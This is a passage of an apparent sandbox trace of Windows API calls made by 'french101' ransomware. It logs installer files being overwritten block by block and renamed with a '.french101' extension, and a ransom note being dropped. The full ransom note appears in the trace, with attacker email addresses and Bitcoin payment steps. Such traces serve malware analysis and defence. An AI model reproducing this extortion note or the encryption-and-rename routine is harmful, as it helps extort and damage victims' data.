dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f130f8, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.349] CharLowerBuffW (in: lpsz=".rtf", cchLength=0x4 | out: lpsz=".rtf") returned 0x4 [0279.349] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".rtf", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".rtfw", lpUsedDefaultChar=0x0) returned 4 [0279.349] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\я" (normalized: "c:\\588bce7c90097ed212\\1038\\я"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.361] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e7e4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e7e4*=0x1, lpOverlapped=0x0) returned 1 [0279.362] CloseHandle (hObject=0x35c) returned 1 [0279.362] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\я" (normalized: "c:\\588bce7c90097ed212\\1038\\я")) returned 1 [0279.363] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0279.363] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.363] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.363] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.363] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf", dwFileAttributes=0x20) returned 1 [0279.364] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.364] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.364] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x109e [0279.364] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.364] SetFilePointer (in: hFile=0x35c, lDistanceToMove=4254, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x109e [0279.364] WriteFile (in: hFile=0x35c, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.366] CloseHandle (hObject=0x35c) returned 1 [0279.367] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.367] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.367] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x109f [0279.367] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.367] SetFilePointer (in: hFile=0x35c, lDistanceToMove=4254, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x109e [0279.367] SetEndOfFile (hFile=0x35c) returned 1 [0279.393] CloseHandle (hObject=0x35c) returned 1 [0279.393] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.393] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.393] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x109e [0279.393] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.394] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.394] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.394] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x109e [0279.394] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.394] ReadFile (in: hFile=0x35c, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.395] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.395] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0279.395] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.395] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.395] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0279.395] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.395] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.395] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.395] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.395] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.395] WriteFile (in: hFile=0x35c, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.395] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.395] SetFilePointer (in: hFile=0x35c, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x109e [0279.395] SetFilePointer (in: hFile=0x35c, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0279.395] SetFilePointer (in: hFile=0x35c, lDistanceToMove=4254, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x109e [0279.395] WriteFile (in: hFile=0x35c, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0279.411] WriteFile (in: hFile=0x35c, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0279.411] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.411] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.411] CloseHandle (hObject=0x35c) returned 1 [0279.422] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1038\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1038\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1038\\GTM5rHMJYIj5vncRwRwRT4.french101" (normalized: "c:\\588bce7c90097ed212\\1038\\gtm5rhmjyij5vncrwrwrt4.french101")) returned 1 [0279.423] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\GTM5rHMJYIj5vncRwRwRT4.french101" (normalized: "c:\\588bce7c90097ed212\\1038\\gtm5rhmjyij5vncrwrwrt4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.423] SetFileTime (hFile=0x35c, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0279.423] CloseHandle (hObject=0x35c) returned 1 [0279.423] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\GTM5rHMJYIj5vncRwRwRT4.french101", dwFileAttributes=0x80) returned 1 [0279.423] CloseHandle (hObject=0x35c) returned 0 [0279.423] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.423] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.423] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.424] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.424] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.424] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0279.424] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.424] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.424] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.424] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0279.424] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0279.424] GetLastError () returned 0x2 [0279.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\1038\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x35c [0279.425] WriteFile (in: hFile=0x35c, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0279.427] CloseHandle (hObject=0x35c) returned 1 [0279.427] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0279.427] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0279.428] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0279.428] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.428] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.428] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.428] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0279.428] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0279.428] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0279.428] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.428] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0279.428] GlobalUnlock (hMem=0x3f40004) returned 0 [0279.428] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0279.428] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0279.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.428] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0279.429] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0279.429] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0279.429] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0279.429] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0279.429] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0279.429] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0279.430] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0279.430] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0279.488] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.488] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.488] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x151aa [0279.488] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.488] SetFilePointer (in: hFile=0x398, lDistanceToMove=86442, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x151aa [0279.488] WriteFile (in: hFile=0x398, lpBuffer=0x3f31cc8*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31cc8*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0279.490] CloseHandle (hObject=0x398) returned 1 [0279.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.496] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.496] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x151ab [0279.496] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0279.496] SetFilePointer (in: hFile=0x398, lDistanceToMove=86442, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x151aa [0279.496] SetEndOfFile (hFile=0x398) returned 1 [0279.499] CloseHandle (hObject=0x398) returned 1 [0279.499] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1038\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0279.499] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.499] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x151aa [0279.499] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0279.500] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0279.500] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.500] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.501] SetFilePointer (in: hFile=0x398, lDistanceToMove=51661, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xc9cd [0279.501] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.501] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0279.501] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0279.501] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0279.501] GlobalUnlock (hMem=0x3f40014) returned 0 [0279.501] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0279.501] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.501] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0279.501] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0279.501] GlobalUnlock (hMem=0x3f4000c) returned 0 [0279.514] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0279.514] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0279.515] SetFilePointer (in: hFile=0x398, lDistanceToMove=51661, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xc9cd [0279.515] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, 